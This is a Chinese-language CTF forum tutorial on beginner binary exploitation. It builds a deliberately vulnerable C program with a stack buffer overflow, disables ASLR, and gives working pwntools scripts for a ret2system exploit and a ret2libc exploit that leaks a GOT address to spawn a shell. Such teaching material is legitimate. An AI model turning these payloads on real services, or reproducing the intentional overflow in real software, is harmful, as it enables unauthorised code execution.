pwn随笔

心怀天下   ·   发表于 2023-04-09 14:25:25   ·   CTF&WP专版

前言

首先感谢洪哥的提点,确实在真正的工作场景中,关于elf和APP的逆向分析才是当下的主场。这也让我萌生对此进行总结的想法。
关于pwn,我能够与其结缘,需要感谢导师孙老师,让我对二进制产生了浓厚的兴趣,也希望可以遇到下一位人生导师,指引我更近一步。

pwn简介

对于小白,都很疑惑,什么是pwn?pwn其实就是一个网络黑客的俚语,因为发音酷似“砰”(枪毙的声音),这就像是当黑客“砰”点击一下,就可以拿下对方电脑的权限,执行任意操作。

pwn环境搭建

操作系统:kali
编译器:gcc,python2 ,python3
调试器:gdb、pwntool

相关的安装指令:

sudo apt install gdb
git clone https://github.com/aquynh/capstone
cd capstone
make && make install
git clone https://github.com/Gallopsled/pwntools
cd pwntools
python setup.py install

这里有几点需要注意:

1、pip可能安装不上,(笔者在网上找了一些方法,大多没用,下面这种可以)
curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py
python3 get-pip.py
相关的资料连接:(152条消息) kali安装pip_dhait的博客-CSDN博客
2、安装gdb后,还需要安装相关插件peda。
完整的gdb,自带checksec和ropgadget。

ELF文件相关知识

这里主要讲解一个大概,具体的细节部分会在后面的章节详细介绍。
ELF对应Unix操作系统中的文件,标准的ELF文件可以归为四类:
1、可重定位文件:可用来连接可执行文件或共享目标文件,静态链接库归为此类,对应Linux的.o。
2、可执行文件,包含了可以直接执行的程序,它的代表就是ELF 可执行文件,比如/bin/sh
3、共享目标文件,包含代码和数据,链接器可以使用这种文件跟其他可重定位文件的共享目标文件链接,产生新的目标文件,对应Linux的.so。
4、核心转储文件,Core Dump File,当进程意外终止,系统可以将该进程地址空间的内容及终止时的一些信息转存到核心转储文件, 对应 Linux 下的core dump。
根据其在链接和装载的视觉来分析,ELF文件结构如下图所示:

从链接的角度来看,可以有动态链接和静态链接。静态链接是在编译链接时直接将需要执行的代码拷贝到调用处;动态链接则是在编译的时候不直接拷贝可执行代码,而是通过记录一系列符号和参数,在程序运行或加载时将这些信息传递给操作系统,由系统负责将所需的动态库加载到内存,然后当程序运行到指定的代码时,去共享执行内存中已经加载的动态库可执行代码,最终达到运行时链接的目的。

本次准备的实验脚本如下:

#undef _FORTIFY_SOURCE
#include 
#include 
#include 
void vulnerable_function() {
    char buf[100];
    read(STDIN_FILENO, buf, 256);
}
int main(int argc, char** argv) {
    vulnerable_function();
    write(STDOUT_FILENO, "Hello, World\n", 13);
}

下面使用gcc的相关指令,生成可执行文件a.out和level1,预编译处理的文件level1.i,汇编文件level.s,静态链接库文件libfoo.a。(这里大家可以回忆一下编译原理,四个阶段:预编译、编译、汇编和链接)

上面是关于ELF的文件结构,那么Linux对其有哪些保护措施呢?gdb中的checksec是专门用来检测可执行文件的安全属性的。

该文件的默认安全属性有CANARY、FORTIFY、NX、PIE、ASLR和RELRO等。

下面表述一下每一种属性的作用。
1、CANARY,也叫金丝雀,通过在函数开始执行之前先往栈中插入cookie信息,当函数运行结束,返回时会验证cookie信息是否合法来判断是否存在栈溢出,如果存在则停止运行。
2、FORTIFY,通过检查程序中是否存在缓冲区溢出的函数,如strcpy()、memcpy()等,如果存在进行优化。
3、NX,也可称DEP,学名数据不可执行,通过将数据所在内存页标识为不可执行,来实现阻止shellcode运行的目的。
4、ASLR,地址随机,通过对堆、栈、共享库映射等线性区布局的随机化,通过增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码,达到阻止溢出攻击的目的。
5、PIE,和PIC相反,PIE用来生成位置无关的代码。(关于位置无关和位置有关的理解,我曾经在学校时做过较深入的研究,后面有机会,我放上来)
6、RELRO,一般有两种,分别是partial relro和full relro。堆栈地址随机化,也是ASLR的一种。

实验1:无CANARY保护

场景:利用溢出改变程序走向,无CANARY保护。
编译程序,相关指令如下:
gcc -fno-stack-protector level1.c -o level2 -ldl

1、检测结果

2、运行程序,观察


这里是典型的缓冲区溢出

3、构造数据,确认溢出点

使用gdb的插件pattern,指令为:
pattern create 200

然后再次运行程序,将pattern随机数据输入


这里爆出异常位置是0x41384141
使用pattern offset 0x41384141

得到溢出点位置是112。

4、获取system()地址和/bin/sh地址

利用gdb的print和find指令。

得到system的地址是0xb7e3e850
/bin/sh的地址是0xb7f5ce64

5、编写并测试poc

基于上面的内容,构造POC如下:


#!/usr/bin/env python
from pwn import *
p = process('./level1')
#p = remote('127.0.0.1',10001)
ret = 0xbffff26c
systemaddr = 0xb7e3e850
binsh = 0xb7f5ce64
payload =  'A' * 112  + p32(systemaddr) + p32(ret) +p32(binsh)
p.send(payload)
p.interactive()

运行后,结果如下:

此处出现了闪退。原因可能是ret地址的问题。

利用Core Dump File找到ret的位置。

相关指令:

ulimit -c unlimited
sudo sh -c ‘echo “/core.%t” >/proc/sys/kernel/core_pattern’

然后再次使用gdb调试,得到buf的地址。

得到buf的起始地址是0xbfb3bbbc。

最终修改POC,脚本如下:

运行结果如下:

6、进阶利用

基于上面的实验,那么我们在实际工作中,如何做到漏洞利用呢?

首先将elf文件设置为服务端程序,相关指令用到socat

然后修改POC,具体如下:

最后运行poc即可。

此外也可以考虑将ELF程序迁移到其他的程序中,如果运行该ELF或其他程序的权限是root,那么也可以达到提权的目的。

关于ret地址不对的看法

这个问题的理解,可以用于解决“Got EOF while reading in”的问题。
在我们使用gdb或IDA对目标文件进行调试时,调试环境可能会影响到buf在内存中的位置。那么有人会问,在gdb调试过程中关闭ASLR不就行了吗?事实上,当我们脱离调试环境后,buf的位置会固定到其他位置上。(笔者前后使用GDB 、IDA等好几种方法,得到十几个地址,已经证实了这种情况。)
本次实验使用的方式是core dump文件。这个文件会在程序运行错误时,将关键信息转储下来,所以buf的位置相对是固定的。
但是有时通过这种方法得到的buf位置依旧有问题。那是因为linux系统有ASLR的保护。那么我们只需要将linux的ASLR保护关掉即可。
关闭Linux的ASLR保护的相关指令如下:
sudo -s
echo 0 > /proc/sys/kernel/randomize_va_space
exit
为了验证上面的方法,是否有效。大家可以尝试生成多个转储文件,然后比较buf的地址。笔者通过实验,已经证实了上面的猜想。

更通用的解法

当存在ASLR 时,我们会发现libc.so的地址每次都会不一样。

通用的解题思路是:先泄露出libc.so某些函数在内存中的地址,然后再利用泄露的函数地址计算出system()函数和/bin/sh字符串在内存中的地址。最后再构造我们的payload。

这里需要解释如下几个问题:

1、既然地址是随机的,那么为什么需要泄露libc.so某些函数在内存中的地址?
笔者是这样认为的,一个程序或多或少都会包含类似printf()、read()这种函数,在编译链接的过程中,就需要加载动态链接库。虽然目前地址随机化,但是动态链接库在内存中的位置是固定的。换一句话说,如果拿到了某些函数在内存中的地址,就可以解决地址随机的问题。
2、如何泄露libc.so某些函数在内存中的地址?
这里涉及到plt和got表,也是相对关键的对方,后面会对plt、got做较为详细的解释。总之记住,程序运行某些函数时,如write(),其实就是调用write<span class="label label-primary">@plt()。而真正?</span>??write()函数地址被记录在got表的write.got上面。程序通过write<span class="label label-primary">@plt()根据write.got跳转到真正?</span>??write地址上面。
3、如何利用泄露函数地址计算出system()函数和/bin/sh字符串在内存中的地址?
直接泄露system()函数和/bin/sh字符串在内存中的地址,在某些情况下,是不现实的。假设泄露函数是write(),那么system()和write()不管是在程序中,还是在lib.so中,相对地址是不变的。因此当我们得到write()地址和目标libc.so的地址后,就可以计算得到system()的地址。
4、再构造payload,是否意味着需要两个payload?
第一个payload,是为了确认泄露地址、system()地址和/bin/sh地址;第二个payload,是为了成功实施攻击。这里也被称为ret2libc。

基于上面的思路,提供的poc脚本如下:

#!/usr/bin/env python
from pwn import *
p = process('./level1')
libc = ELF('libc.so')
elf = ELF('level1')
#p = remote('127.0.0.1',10001)
plt_write = elf.symbols['write']
got_write = elf.got['write']
ret = 0x804842f
payload1 = 'A' * 112  +p32(plt_write)+p32(ret)+p32(1)+p32(got_write)+p32(4)
p.send(payload1)
write_addr = u32(p.recv(4))
system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])
binsh_addr = write_addr - (libc.symbols['write']-next(libc.search('/bin/sh')))
payload2 = 'a'*112+p32(system_addr)+p32(ret)+p32(binsh_addr)
p.send(payload2)
p.interactive()

用户名金币积分时间理由
Track-聂风 80.00 0 2023-04-12 11:11:15 活动奖励
Track-聂风 80.00 0 2023-04-12 11:11:05 加油,投稿奖励

打赏我,让我更有动力~

1 条回复   |  直到 11个月前 | 262 次浏览

Track-聂风
发表于 11个月前

文章语言组织能力有待加强

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.